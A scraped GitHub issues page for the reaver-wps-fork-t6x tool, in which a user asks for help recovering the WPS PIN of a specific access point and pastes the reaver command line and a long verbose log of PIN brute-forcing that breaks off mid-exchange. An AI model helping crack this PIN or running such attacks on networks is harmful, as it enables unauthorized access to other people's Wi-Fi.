reaver-wps-fork-t6x's People
Contributors
Stargazers
Watchers
Forkers
d8tahead filipesam 00derp vegeta0000 researcherprueba delta48 g0tmi1k chayao2015 alxchk anonbeing polloconpatatas raum01 misteritguru peterpt ldm314 pigcoin zhangjun-github kib0rg 5un3x sh3llsh0ck3d bemonolit antonini taximartin haxt0r k5esx vaginessa alex-chan crunchsec rd357 damnthefall hamoda12 xanfox awai0707 johnjohnsp1 csala cbrunnkvist nask0 ringwraith smallcattom dancing4you jetqin efracho kasozi dave9113 mobking33 hamid-k lucabongiorni badreddinetahir zigitax i3rixon aj1322001 sevc supernight knightsch t1t4n vonpupp spnow tiagolramos lizhendonggi kruherson nicolemx jakuta-tech peterbee97 rafac13 redcodenetwork thx0701 mipsel22 sisterofthefuture acetolyne earthgavinlee hpxpat snegohod kokosoft svasapolle st0x8 erpscan tctczhp zhuotong hongzhen pchk akamajoris oamar legendarynacar sergiolazaro dtrip d-owl zhenhappy coghen emadshanab vk496 haha007 miss9 sun9git samyoyo alma4rebi int03h blamethetank invenktive 00kush00 wompshmackreaver-wps-fork-t6x's Issues
Pin not found
Plz Help me To get WPS pin of
B8:A3:86:E7:D8:F0
WPS Manufacturer: Ayecom
- WPS Model Name: AyecomWAP
- WPS Model Number: DSL2740
- Access Point Serial Number: 12345
I have a problem with AP limit and lock wps state . I try to use mdk3 but not work......Pixiewps = pin not found
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212 & Wiire & kib0rg
- Switching mon0 to channel 6
[-] Failed to retrieve a MAC address for interface 'mon0'!
root@bt:/reaver-wps-fork-t6x/src#/reaver-wps-fork-t6x/src# reaver -i mon0 -b B8:A3:86:E7:D8:F0 -vvv -c6
root@bt:
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212 & Wiire & kib0rg
-
Switching mon0 to channel 6
[?] Restore previous session for B8:A3:86:E7:D8:F0? [n/Y] y
*
p1_index set to 0 -
p2_index set to 56
-
Restored previous session
-
Waiting for beacon from B8:A3:86:E7:D8:F0
-
Associated with B8:A3:86:E7:D8:F0 (ESSID: silver600)
-
Starting Cracking Session. Pin count: 10056, Max pin attempts: 11000
*
Trying pin 43210473. -
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
*
Sending identity response -
E-Nonce: d8:e2:2b:16:95:82:22:fe:0f:72:3b:de:4a:7f:4f:85
-
PKE: 9d:e1:f8:11:cb:12:f8:94:ce:48:c8:db:8f:d2:87:b3:ba:71:6c:d8:f8:47:b0:93:1e:97:e9:0b:b2:c4:85:a5:e9:d5:d2:92:f0:e2:07:1d:c4:88:0d:d4:18:d9:0a:30:b5:ef:75:ca:88:24:e3:62:df:d3:61:68:99:70:43:29:dd:26:5b:70:79:d3:78:52:26:4f:7d:2f:fd:8c:6c:7d:0c:14:4a:16:f5:10:03:de:02:6f:16:3e:91:4a:f8:93:83:f7:38:ea:d9:ee:c7:73:0e:fe:5e:30:e4:e1:90:81:b2:6f:79:59:e5:3c:b9:01:ce:b9:a2:82:a0:51:46:1d:40:f7:f1:38:c7:08:fd:5e:d1:e4:fa:ef:1e:eb:47:ee:9d:cb:61:b9:64:06:ee:ca:89:e0:12:e6:d4:8d:50:12:1b:2a:68:57:5b:8b:fb:5d:dd:29:24:bc:b9:9b:ba:37:75:87:34:cc:a5:4f:9c:3f:54:77:6e:b1:e4:78:ba:91
-
WPS Manufacturer: Ayecom
-
WPS Model Name: AyecomWAP
-
WPS Model Number: DSL2740
-
Access Point Serial Number: 12345
-
Received M1 message
-
R-Nonce: 30:af:69:83:8e:0e:29:da:a6:96:fa:c1:31:4b:9d:55
-
PKR: 10:47:6d:66:23:bd:1d:77:af:5e:a8:e2:93:b0:0c:c1:0d:e6:6a:6e:87:7a:e0:b3:12:08:dc:b4:d9:44:86:06:01:26:11:7a:16:d3:06:45:cd:6d:d4:6a:72:70:81:85:9b:2a:40:d3:ef:b8:c9:ab:16:3e:ae:6e:8e:8b:cd:44:90:ec:52:58:46:f4:0b:2a:b4:f8:32:83:68:4c:03:ea:5c:40:4a:a7:d3:e0:43:3e:9e:95:fa:cf:88:57:74:be:36:f4:7e:ad:c2:15:ae:cc:54:43:f8:67:ec:f4:0c:06:60:ed:db:61:86:37:71:af:16:ab:e8:49:08:df:a8:7d:b5:af:d4:b6:f4:18:a5:aa:00:99:89:46:a1:61:75:fb:0d:0c:fe:22:7b:96:2b:f6:be:3a:d9:75:87:b6:d3:31:0f:d3:09:12:58:76:47:2a:d0:13:7d:70:51:c5:d2:c7:59:2d:eb:85:d6:b3:a0:25:43:43:83:da:76:fc:71:13
-
AuthKey: f1:ee:54:6b:46:f0:32:9b:d4:15:d4:4c:dd:2b:23:0a:d0:13:c7:1b:d9:a0:16:c2:9e:c0:4d:18:fa:91:0f:5c
-
Sending M2 message
-
E-Hash1: 7b:ce:34:ce:52:3f:cd:01:96:c9:08:2e:d1:63:a0:2c:56:c6:75:40:ed:22:10:22:d5:e1:11:b7:a1:b6:bc:92
-
E-Hash2: 3b:3e:d3:51:2a:98:3c:98:3c:d8:91:b4:05:76:17:a0:5e:52:9d:85:06:49:a7:c7:9c:85:6d:d4:55:68:bf:0a
-
Received M3 message
-
Sending M4 message
-
Received WSC NACK
-
Sending WSC NACK
-
p2_index set to 57
-
Pin count advanced: 10057. Max pin attempts: 11000
-
Trying pin 43210480.
-
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
E-Nonce: 61:a3:6f:f1:69:cd:6a:be:c4:9b:65:51:76:7e:70:91
-
PKE: 0d:ac:c8:d4:23:d3:3a:53:21:bb:74:53:50:9e:21:a1:05:28:b4:43:cf:5c:66:95:08:cb:bf:53:bb:cb:d0:e0:8a:e8:04:fa:7f:ec:5a:53:85:91:7b:07:a3:ca:91:8f:e2:10:eb:0a:2c:b1:4a:bd:64:62:dc:45:3e:c0:ea:aa:9b:89:ca:aa:6e:46:d7:00:2f:c8:6b:56:be:7d:87:65:19:40:71:27:66:f4:49:b5:1b:31:94:cb:7f:66:ce:a3:25:37:32:b6:0c:da:44:7d:62:0c:b2:d7:4a:01:16:05:68:3a:ed:4e:a5:00:a7:80:f2:c2:c9:e3:bb:2f:9f:b1:56:40:6d:fe:08:fb:f8:d5:7c:38:1d:48:dd:fe:67:31:38:be:96:73:0a:f6:52:76:b7:c5:d1:fd:61:f3:20:ac:6e:46:51:89:e0:3b:89:3b:c1:ad:3c:65:44:8d:3f:af:45:3a:b3:c5:9d:cf:e8:ad:8a:75:df:00:d3:5c:25:aa
-
WPS Manufacturer: Ayecom
-
WPS Model Name: AyecomWAP
-
WPS Model Number: DSL2740
-
Access Point Serial Number: 12345
-
Received M1 message
-
R-Nonce: 3e:69:5e:84:3d:6e:f8:2c:c2:fd:76:06:19:0a:e5:f8
-
PKR: 91:90:89:b9:88:50:f5:98:08:c0:6e:8d:a3:2a:5c:97:bd:b7:3e:8f:ca:d3:d6:2f:fd:03:ce:69:2e:55:57:6a:b7:3d:26:9a:81:d9:da:ec:79:a9:31:03:d8:7d:a9:fd:7b:8d:12:c9:48:12:5d:2b:d5:94:82:b1:b2:1f:44:be:d5:69:d4:b1:b9:fe:0a:0d:80:6b:b2:d7:6e:2a:be:b9:88:28:2d:ed:f8:55:b2:1c:0e:e7:91:19:f8:e7:b0:f0:20:c6:0e:f9:8d:42:3c:c2:59:9f:24:dd:3e:62:05:7d:3f:23:4a:0a:d4:ac:61:b3:8e:fb:bc:33:94:5c:4f:1e:87:22:4d:f7:1a:fe:a0:ef:b7:ea:72:6b:04:7c:a3:48:f4:bd:25:93:eb:5f:a1:08:d4:03:b0:c4:cd:46:40:c4:21:fa:f5:ab:2e:b2:df:12:6d:01:41:23:c1:63:65:c8:20:f3:5d:68:cc:f9:bb:e7:d0:a8:15:47:cb:6c:8c:58
-
AuthKey: 8b:aa:64:81:e1:5f:b1:c2:19:c6:44:b9:ad:ba:94:a1:21:ce:31:18:fd:1f:52:4d:12:43:f6:47:30:d2:41:a1
-
Sending M2 message
-
E-Hash1: 82:60:10:2b:7f:2a:4c:bd:ab:6f:77:5d:8d:2d:a5:80:0f:8e:b4:92:1c:6c:fc:d8:85:08:00:23:76:04:ee:74
-
E-Hash2: d1:f8:fd:15:80:ae:83:58:3b:42:12:67:eb:c2:97:44:5e:39:4a:f6:33:2a:b1:ad:41:8e:3f:74:dc:04:6e:6a
-
Received M3 message
-
Sending M4 message
-
Received WSC NACK
-
Sending WSC NACK
-
p2_index set to 58
-
Pin count advanced: 10058. Max pin attempts: 11000
-
Trying pin 43210497.
-
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
E-Nonce: 51:e6:a8:4e:ae:dd:a4:50:4b:95:b6:ae:1f:b1:80:01
-
PKE: 58:cf:3c:d1:2a:ad:ac:f4:b2:53:9b:7f:56:d4:f4:db:47:6d:4e:60:bf:c6:89:26:30:bc:c9:58:68:65:5d:b2:83:33:85:35:36:9b:a3:86:e0:80:aa:7a:dd:76:17:8a:db:bd:c0:e7:ca:86:7e:ae:0d:11:f7:ab:40:2d:1e:e0:c9:0f:e9:5b:9f:9f:cb:ea:1a:a2:d6:c3:ac:6b:21:0e:ee:a5:75:94:3b:2e:c7:93:e5:f2:c2:7e:a2:5d:d9:b6:ec:fe:35:65:e5:8a:5e:1e:c7:fb:be:cf:c4:80:c5:40:1f:3f:44:42:fb:77:1f:4d:79:d7:b4:78:0c:06:a6:90:48:e6:18:f3:8f:6e:ae:d6:2c:48:7e:36:cc:b6:ed:66:34:10:aa:28:ac:7e:80:a9:26:65:a5:fd:ff:ed:c6:31:63:6c:52:cf:25:b8:3c:22:f5:a0:79:05:ca:82:f2:52:73:5f:4f:cc:0b:3f:41:1d:f2:5e:10:2a:ca:85:c9:dd
-
WPS Manufacturer: Ayecom
-
WPS Model Name: AyecomWAP
-
WPS Model Number: DSL2740
-
Access Point Serial Number: 12345
-
Received M1 message
R-Nonce: bd:22:92:5f:27:8e:6a:09:ef:92:e2:9b:ef:b4:30:7d
-
PKR: 26:86:c0:81:ed:e1:1d:b7:a5:6c:bf:b6:b6:5a:7c:0c:58:77:5e:bf:ac:72:f9:36:fc:31:a2:46:33:ff:01:9a:ff:be:4d:23:f3:9b:20:5b:85:21:01:e7:61:49:ca:b5:c8:d7:d1:bb:c5:6a:ff:79:da:cc:2a:94:cf:e3:d2:37:cc:c3:7f:83:62:2c:cf:37:4d:cc:51:ab:10:bc:b0:e3:5a:4c:de:9f:2c:38:31:13:fa:41:d3:b5:90:26:85:61:d4:7b:7c:ff:49:1e:c9:7c:94:2b:11:3c:11:de:ef:50:d0:95:1b:09:19:e1:dc:e0:1c:87:4a:dd:f1:54:fa:ce:51:4b:4c:08:74:b2:78:38:a4:b2:b6:12:4d:6a:de:0e:2f:30:5f:ef:1e:3a:30:dc:cd:f2:9e:59:cf:76:4f:35:1d:91:21:d6:56:eb:fd:b5:70:f2:07:cf:4e:8d:62:49:ec:77:1b:c5:3a:6f:1a:60:2a:34:27:30:32:d6:52:32
-
AuthKey: d8:47:ed:67:e5:2d:dd:e8:ec:8d:ff:e6:8b:ed:49:95:00:8c:61:38:cd:7e:e2:49:8f:ba:a2:f0:be:2b:3d:83
-
Sending M2 message
-
E-Hash1: e1:69:00:6b:f7:bc:24:22:e5:85:82:67:bd:96:98:ad:4b:3d:57:27:41:3e:dc:08:de:1a:a9:10:0d:65:30:ad
-
E-Hash2: f0:f4:95:b5:ac:74:7e:90:10:d8:2d:94:e7:73:9e:21:36:c2:09:62:c7:d7:87:c8:93:8d:9d:c9:46:23:9c:84
-
Received M3 message
-
Sending M4 message
-
Received WSC NACK
-
Sending WSC NACK
-
p2_index set to 59
-
Pin count advanced: 10059. Max pin attempts: 11000
-
Trying pin 43210503.
-
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
E-Nonce: 15:c9:2c:ee:d3:2b:52:28:58:d3:92:25:20:ff:95:73
-
PKE: 27:fb:c0:0d:6b:5a:59:f0:a5:27:7b:17:df:8f:e8:65:7c:2c:98:86:36:ce:01:9a:d5:c7:3d:8e:a7:14:39:3f:ce:c1:1e:5b:27:a5:a5:46:ed:eb:de:97:0e:5c:cc:72:3e:a9:9f:fb:36:8d:7d:c6:f8:ae:05:33:88:b7:df:d8:a1:91:61:fd:10:ed:0f:81:9c:7f:08:9f:0c:ab:45:71:15:45:13:cf:b8:6c:88:e3:71:61:9b:6d:5d:71:89:99:ec:af:09:2f:cf:9c:83:2b:69:98:7e:d1:61:2b:bd:42:c4:fe:4f:c1:2a:fc:d6:04:49:a4:a5:17:f5:06:fe:c1:e5:82:a5:0c:c9:bd:e3:35:97:5f:98:c1:34:ef:97:92:28:06:a6:c6:01:1e:e0:2b:cd:29:fc:f7:03:c9:b6:95:c2:12:eb:8d:d6:d1:92:0e:02:02:48:cf:2c:ad:e7:60:a3:9d:20:0f:1f:c6:e6:3a:2a:67:03:f7:84:95:71:b5
-
WPS Manufacturer: Ayecom
-
WPS Model Name: AyecomWAP
-
WPS Model Number: DSL2740
-
Access Point Serial Number: 12345
-
Received M1 message
-
R-Nonce: ca:8f:09:a6:b4:11:1b:9d:31:10:e6:e0:f8:2a:cb:ee
-
PKR: 73:95:ae:cd:91:09:02:07:99:5e:bb:cc:ec:07:bc:03:30:f4:25:d2:de:17:11:e6:34:09:cd:04:8a:34:4e:25:6d:3d:4a:4f:0f:ae:87:07:70:c2:86:c3:29:86:25:8d:2d:29:1d:07:23:fa:df:d5:29:58:d9:61:9d:6b:e9:f5:12:46:d9:e0:18:80:8f:e5:ff:29:a3:a0:ed:a5:1e:58:78:51:07:c9:47:2a:c9:fe:66:57:ca:00:5f:e2:29:79:c9:1a:19:f0:93:0d:13:42:2d:4d:a6:fd:31:22:f3:b1:c8:bc:53:52:75:77:6a:ab:53:42:d5:db:55:ff:f7:c3:c6:09:ce:5b:ca:7d:a0:eb:cd:4a:b2:0e:94:8a:98:dc:11:f5:5e:e5:dc:ea:34:b8:1e:70:18:92:9f:24:6a:82:03:d3:23:50:a4:36:6f:c4:a1:4b:47:83:1d:55:34:d1:15:50:e0:0d:6d:ae:e8:2a:13:ef:d2:1c:0d:19:11:4b
-
AuthKey: ef:2a:e1:73:98:a5:53:2a:b9:99:89:ed:a0:84:19:a7:52:71:5b:27:f4:1b:53:90:92:61:d9:b5:4a:67:db:8d
-
Sending M2 message
-
E-Hash1: f1:21:8e:e0:67:ef:bb:12:ad:da:5e:4e:92:4d:67:cf:f5:51:12:a0:72:ad:7f:ce:1e:dd:89:2a:a4:8d:5b:12
-
E-Hash2: 9d:73:a7:f7:d4:c9:a6:9e:c9:cb:6f:f3:2e:e8:bf:80:ff:1f:e8:44:da:f7:96:67:6a:9f:44:8c:ad:e9:ea:bd
-
Received M3 message
-
Sending M4 message
-
Received WSC NACK
-
Sending WSC NACK
-
p2_index set to 60
-
Pin count advanced: 10060. Max pin attempts: 11000
-
Trying pin 43210510.
-
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
E-Nonce: 05:a3:16:b6:c7:c0:41:d3:07:46:5c:c5:d0:20:fe:83
-
PKE: 6a:fe:9f:c5:a9:6c:ae:f4:e3:5e:5b:19:db:fa:24:56:48:d0:c2:6d:0d:a5:93:77:9a:e3:27:84:9c:5c:d1:b6:24:af:69:93:43:c4:31:c2:07:eb:f9:46:84:f9:25:fd:d6:5b:b6:d2:a1:97:b9:ac:78:b4:99:1d:f1:7e:d1:23:c3:ce:fc:f4:c7:78:a7:f6:64:ec:3f:aa:99:b4:a4:cc:c0:0a:04:e7:24:44:98:8c:b9:3f:a8:92:6b:c5:60:6d:45:cf:7a:43:4e:ac:5a:2a:2d:e2:76:f2:64:bd:49:54:cf:eb:c6:80:6b:e6:2e:f1:73:97:e4:6f:2f:f2:5a:ab:b3:fb:f9:df:68:5a:40:43:04:6c:e1:40:fd:a4:0c:5f:d1:5b:4b:d5:37:b3:df:1a:0c:94:2a:4f:7a:50:5e:e3:d6:eb:ae:27:0d:49:e2:84:5f:dd:91:82:ae:ca:23:e8:20:93:ad:60:d5:51:ed:a1:a6:4e:44:06:0a:d4:59:23
-
WPS Manufacturer: Ayecom
-
WPS Model Name: AyecomWAP
-
WPS Model Number: DSL2740
-
Access Point Serial Number: 12345
-
Received M1 message
-
R-Nonce: 79:ad:3b:30:83:7a:cc:91:07:4b:db:15:80:0f:aa:a6
-
PKR: ef:ab:0e:86:1e:fe:46:04:1c:06:ea:64:83:54:f1:96:5f:be:62:71:f7:2b:73:16:25:f5:b7:58:36:06:78:00:2e:8e:10:cd:c6:f1:19:f7:a1:96:a1:5a:ac:9a:34:40:e2:da:d7:fd:b3:d8:1a:28:83:ae:42:e7:1b:8a:02:ac:60:89:38:49:4d:25:94:06:48:43:cc:56:fb:49:9b:94:ae:ea:98:04:23:94:fa:74:9e:27:2d:a4:1e:a5:af:d3:d3:e0:39:ae:10:a8:a6:29:85:8a:ee:96:e1:68:f8:c8:dc:ed:13:30:86:56:fa:bb:2a:eb:da:8f:d3:01:35:5d:26:4c:bd:2c:fc:34:8e:ec:fd:30:95:9b:36:32:cd:e0:0e:20:6e:7f:28:7b:90:73:fc:5d:2f:a3:2a:92:c6:3f:c5:49:b8:6a:43:e6:e7:46:58:db:47:86:ac:15:47:c2:a2:de:53:4d:f7:af:68:3e:bd:c4:91:17:c5:de:0c:de
-
AuthKey: c8:97:0c:90:c7:0f:44:8e:f2:ab:5b:07:08:28:b5:30:49:cd:66:85:d4:26:d0:bd:78:c9:1d:9b:68:e3:3a:de
-
Sending M2 message
-
E-Hash1: 35:87:81:a8:a8:29:b3:94:2c:cf:81:76:63:fb:9f:6d:cf:98:b0:3e:b8:a3:56:ab:d0:b1:db:6d:d6:a0:5e:b2
-
E-Hash2: 2e:d4:67:3e:87:73:6f:71:8b:ad:f5:68:ad:33:16:9d:0e:bd:6b:3b:3a:6b:95:5d:9c:7a:95:99:6d:19:64:24
-
Received M3 message
-
Sending M4 message
-
Received WSC NACK
-
Sending WSC NACK
-
p2_index set to 61
-
Pin count advanced: 10061. Max pin attempts: 11000
-
Trying pin 43210527.
-
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
E-Nonce: 2e:41:da:97:81:3a:3c:da:96:04:71:12:f7:7e:0a:74
-
PKE: c6:11:70:52:91:d1:3c:75:cc:bb:d9:c1:c8:0c:cf:03:3f:3b:cd:db:0f:05:38:0a:28:ef:d2:ca:fb:78:06:f6:40:9f:e1:00:fa:cd:20:68:25:a5:92:05:a9:94:c5:02:9d:37:0d:18:06:60:e3:fc:99:58:c9:e7:71:b7:3d:0a:5d:c2:eb:21:b9:f9:7b:7f:72:00:8f:4a:c0:38:00:a8:d7:98:91:e1:39:cb:0e:92:9a:99:94:76:cf:1c:27:ee:ea:0f:df:8c:7e:47:40:8e:71:32:be:4a:94:53:2c:f8:29:22:8d:1d:2c:07:b2:bc:93:00:3b:99:31:14:61:d0:6c:cb:20:c6:1f:cb:72:e8:62:85:10:04:22:eb:4d:05:5c:ec:c9:c2:08:3f:84:32:4c:d3:96:f9:1a:87:90:9f:ff:07:d5:a4:02:a1:96:20:6d:ef:a6:e3:99:8a:d5:eb:52:b5:22:75:11:c7:fa:c4:71:a1:69:75:7f:4a:d8:53
-
WPS Manufacturer: Ayecom
-
WPS Model Name: AyecomWAP
-
WPS Model Number: DSL2740
-
Access Point Serial Number: 12345
-
Received M1 message
-
R-Nonce: 93:22:e2:2e:1f:7a:fc:61:d1:58:89:bf:bc:d9:ce:2f
-
PKR: 2f:8e:58:3e:8e:d3:eb:b0:4a:bf:6f:ac:2b:f3:92:93:8f:4f:f8:92:ce:f9:52:3b:d2:7a:b4:68:d5:98:af:ea:18:8a:c5:50:f9:15:b3:50:51:37:45:6d:9a:a7:d7:4b:d6:34:cc:65:67:0b:62:c7:18:15:c8:6a:d2:47:13:af:a2:c1:e3:26:12:be:4b:d2:bd:8e:79:20:1f:f5:fb:a6:18:ac:80:93:0e:fb:63:d4:f2:d7:3a:ec:12:ef:49:db:60:2c:0c:b7:37:0f:ba:92:83:b2:86:b9:02:8b:79:72:b4:a4:dc:e9:66:b2:6d:84:4c:5a:d4:f1:64:26:9c:a1:f0:2a:ce:3e:f4:35:96:84:e8:9d:0e:a7:1d:d3:2a:c1:9e:5c:85:ac:18:fd:48:8f:4d:28:02:23:39:ab:d8:ba:4c:32:74:22:2a:b3:37:81:9d:e1:25:40:c1:12:3f:33:6a:6c:fa:16:43:a4:c3:c0:aa:69:dc:a2:a0:af:16:88
-
AuthKey: 89:7a:d1:3b:81:c7:4e:c1:e8:2a:11:88:f3:ea:db:1c:76:a6:d3:10:db:0e:95:af:29:17:1b:b2:eb:00:cd:dd
-
Sending M2 message
-
E-Hash1: be:cc:43:7b:fd:ab:b0:2b:c0:07:b4:5a:55:3d:30:26:73:9a:ee:4f:c1:bd:2f:a0:b9:b7:2d:ad:91:05:cd:ad
-
E-Hash2: be:cb:94:6a:30:3b:04:a5:3f:78:ba:86:f9:7d:f2:fd:01:cc:85:22:f9:33:0b:d5:c0:4b:ff:74:0d:4c:be:fe
-
Received M3 message
-
Sending M4 message
-
Received WSC NACK
-
Sending WSC NACK
-
p2_index set to 62
-
Pin count advanced: 10062. Max pin attempts: 11000
-
91.47% complete. Elapsed time: 0d0h0m22s.
-
Trying pin 43210534.
-
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
E-Nonce: 06:b2:bc:75:c2:6c:4f:28:ab:d6:e3:8c:07:bd:c5:3e
-
PKE: 27:fd:7e:5d:eb:9f:a6:3a:09:74:b2:3e:d8:fb:b1:fa:78:f6:74:a5:31:73:9d:e6:1d:30:dc:f8:50:2a:9f:dc:fa:86:d6:ce:d7:77:ce:23:05:a0:53:db:f6:9d:8e:66:0c:dd:dc:3e:db:eb:3a:f6:e0:33:8c:a6:d0:48:cc:57:48:f9:16:f8:49:60:dd:c1:97:97:02:0c:e0:a2:55:28:93:51:97:b0:8f:b4:c5:51:cd:db:d0:6a:a2:53:78:22:8d:59:2f:ee:01:4e:ea:7f:fe:85:d2:0c:2d:ce:0d:f1:6f:7e:18:57:f2:1f:dd:18:0f:2e:0e:21:a1:28:64:78:ad:a0:2a:8f:86:6f:eb:47:47:30:c1:03:2c:06:a0:62:6f:01:4d:f6:7a:3f:21:6e:b1:f0:4c:55:16:e1:3a:fe:b8:10:a0:8e:4c:e9:da:ce:ee:5c:68:ea:71:d2:12:6b:88:64:90:a7:98:a2:bc:2c:7b:6f:10:9e:7b:39:55:0d
-
WPS Manufacturer: Ayecom
-
WPS Model Name: AyecomWAP
-
WPS Model Number: DSL2740
-
Access Point Serial Number: 12345
-
Received M1 message
-
R-Nonce: 48:f7:1b:02:85:4e:37:65:3f:4f:fc:4d:53:92:1c:85
-
PKR: f3:53:b0:54:c2:58:41:77:d8:8a:ee:eb:a2:63:82:fc:c1:84:67:aa:25:e7:5f:b2:14:e0:e7:38:da:a1:8e:8b:33:4e:93:25:96:c7:f2:2a:df:6e:d0:77:0f:95:bc:ac:9f:44:88:8d:91:bc:12:5a:b9:ee:62:db:15:3b:74:02:2b:3b:d4:10:31:dd:59:50:cc:43:2e:56:8d:62:e7:3e:bc:3d:04:44:36:c9:cb:3a:68:24:04:35:e2:69:95:bb:64:34:2c:dd:b9:7d:84:ef:64:5e:42:46:a3:81:75:dd:36:a1:c5:ba:17:92:21:0e:91:b5:52:dd:38:5e:ef:56:26:dc:41:b0:35:56:a9:83:0c:78:4a:c9:86:d0:a7:44:ff:ee:a7:5d:bc:ca:4e:ec:59:c7:0e:b5:81:7d:85:55:3d:72:9a:f0:7b:c6:24:e1:b6:7c:ca:d5:e8:69:32:ba:b6:24:4b:a8:7a:51:f0:e4:58:fa:d6:bd:bc:cd:5b:13
-
AuthKey: 39:f5:77:9e:9b:76:18:f7:10:22:9a:3c:f4:f5:44:f8:97:91:19:38:86:01:7d:49:ae:84:b5:4a:ae:6c:cf:33
-
Sending M2 message
-
E-Hash1: df:34:eb:44:82:ff:b1:10:22:74:f8:e4:75:af:e9:ad:70:70:6d:81:88:c7:87:8a:df:85:4c:7a:0e:c5:ff:1c
-
E-Hash2: 19:77:a3:d9:51:3d:c8:d5:53:b0:f9:00:2a:45:44:86:07:1f:0d:4f:c9:13:f0:92:7e:8d:87:68:16:a3:ab:37
-
Received M3 message
-
Sending M4 message
-
Received WSC NACK
-
Sending WSC NACK
-
p2_index set to 63
-
Pin count advanced: 10063. Max pin attempts: 11000
-
Trying pin 43210541.
-
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
E-Nonce: 3b:75:ce:79:91:1a:7e:3a:53:70:22:fa:23:ca:ab:2b
-
PKE: 6c:da:72:f9:c8:c4:d8:b6:e6:05:1c:d1:79:9f:53:7c:a6:8b:80:df:bb:cb:09:d1:83:11:a0:ff:b8:0c:b6:5a:9d:f6:65:f8:fd:16:0b:d6:52:e7:9d:b6:dd:24:fb:a7:c6:b4:0a:cd:10:57:50:a8:06:9f:3e:63:a0:61:4e:91:a0:8d:d1:f6:63:f0:33:cb:4f:b6:dc:3d:24:e4:86:ba:5c:06:6b:6e:38:95:d9:58:37:60:8e:57:3a:70:9d:7f:9b:f3:26:9c:9b:a8:e7:af:29:ba:6a:16:f9:b1:fd:4d:26:92:49:dd:fe:47:4e:db:13:5e:47:71:e1:1c:38:2a:b6:de:f6:02:ed:69:bc:97:55:c3:a8:b2:a5:56:f6:11:5b:27:d4:10:b2:6a:ca:2b:b9:7c:a7:a5:ad:f9:8e:18:9d:40:ff:d0:a0:79:b7:ad:66:51:1e:24:dd:0c:b8:0a:a1:41:8e:db:cf:6f:dd:2c:cc:44:26:9f:60:fa:87:2e
-
WPS Manufacturer: Ayecom
-
WPS Model Name: AyecomWAP
-
WPS Model Number: DSL2740
-
Access Point Serial Number: 12345
-
Received M1 message
-
R-Nonce: f1:49:76:9e:72:22:88:29:c5:81:70:c8:e8:73:43:6a
-
PKR: 28:66:f4:63:4b:f0:69:9a:3e:b5:b5:98:9d:45:41:51:45:30:6b:18:0a:28:b1:81:b5:fa:15:96:18:20:fc:8f:76:06:bb:7f:56:3e:4f:f2:93:fc:85:57:3d:db:58:82:7d:2f:64:01:b8:d3:f3:3c:5c:1a:06:3c:d5:fc:a7:ab:14:05:83:10:4e:0c:62:04:20:58:bb:24:12:df:e4:6f:91:f3:91:5d:a4:79:71:f3:7f:cf:90:0d:a7:94:aa:95:f5:fa:04:40:9a:39:83:8d:ba:49:c0:92:4a:c2:bd:df:d4:57:34:8b:20:ac:3f:fd:32:29:b8:15:05:8d:7f:af:d2:e7:4b:55:f4:c8:9e:c4:e3:fe:9d:ca:12:58:76:43:da:cb:c6:70:c1:6a:d9:a2:c5:fe:40:04:0b:1f:38:58:0b:e3:09:ae:3d:fb:79:1e:98:9b:eb:bc:a9:3b:c6:d9:fd:6c:ff:d8:3d:a8:38:e9:b2:b1:31:71:6a:5a:66:a1
-
AuthKey: e5:9c:4e:dd:28:b8:7b:f3:89:8e:da:10:a2:8f:9d:2f:76:74:80:85:09:7b:4e:52:66:84:3e:e2:31:a3:76:bd
-
Sending M2 message
-
E-Hash1: c3:b0:c6:9e:e0:88:e0:67:cc:59:d3:07:a5:24:72:c7:02:e0:78:6f:0b:87:80:df:24:ad:41:e4:ed:f3:1e:d2
-
E-Hash2: 11:71:79:af:79:21:52:ef:02:7a:ca:6d:29:78:a6:e8:27:c2:f7:33:67:cb:fb:e6:57:25:43:43:fd:20:c8:20
-
Received M3 message
-
Sending M4 message
-
Received WSC NACK
-
Sending WSC NACK
-
p2_index set to 64
-
Pin count advanced: 10064. Max pin attempts: 11000
-
Trying pin 43210558.
-
Sending EAPOL START request
-
Received identity request
-
Sending identity response
-
Received identity request
-
Sending identity response
-
E-Nonce: 09:b1:04:63:2d:de:a1:15:ff:59:09:89:ac:2a:ef:ef
-
PKE: 23:a2:70:73:f8:70:30:ce:f3:36:e5:c1:ab:fe:17:7f:a2:35:2b:5a:48:ae:30:de:ab:9a:8c:10:80:f4:5b:b3:1f:39:05:88:e1:57:79:44:ed:48:84:41:fc:4e:30:5c:89:13:bb:a6:e9:d7:11:41:b7:9a:66:ed:5b:e0:7e:ed:bc:b6:13:e1:ec:83:e4:e7:2f:18:b8:28:59:00:90:5b:8a:46:27:eb:ff:9a:be:16:2f:d8:34:9e:83:3e:16:7b:35:33:87:61:89:14:16:c3:86:b9:5c:ca:64:8b:f3:85:8c:77:5d:fe:0c:37:f0:b2:93:dc:e9:10:e7:48:d9:c0:b2:ee:bf:13:14:d6:57:53:e4:a8:5a:6c:34:08:de:30:35:b8:ce:b9:98:cf:c3:4f:37:e3:97:a9:14:b4:d1:93:d5:37:6e:d5:9f:5e:05:ee:21:6e:8e:6c:04:3e:a8:a4:c7:d1:73:69:5a:e2:16:88:57:e2:5d:c0:36:7e:c3:5b
-
WPS Manufacturer: Ayecom
-
WPS Model Name: AyecomWAP
-
WPS Model Number: DSL2740
-
Access Point Serial Number: 12345
-
Received M1 message
-
R-Nonce: fd:d0:db:6e:65:a2:a9:a9:18:07:2d:42:49:60:76:b9
-
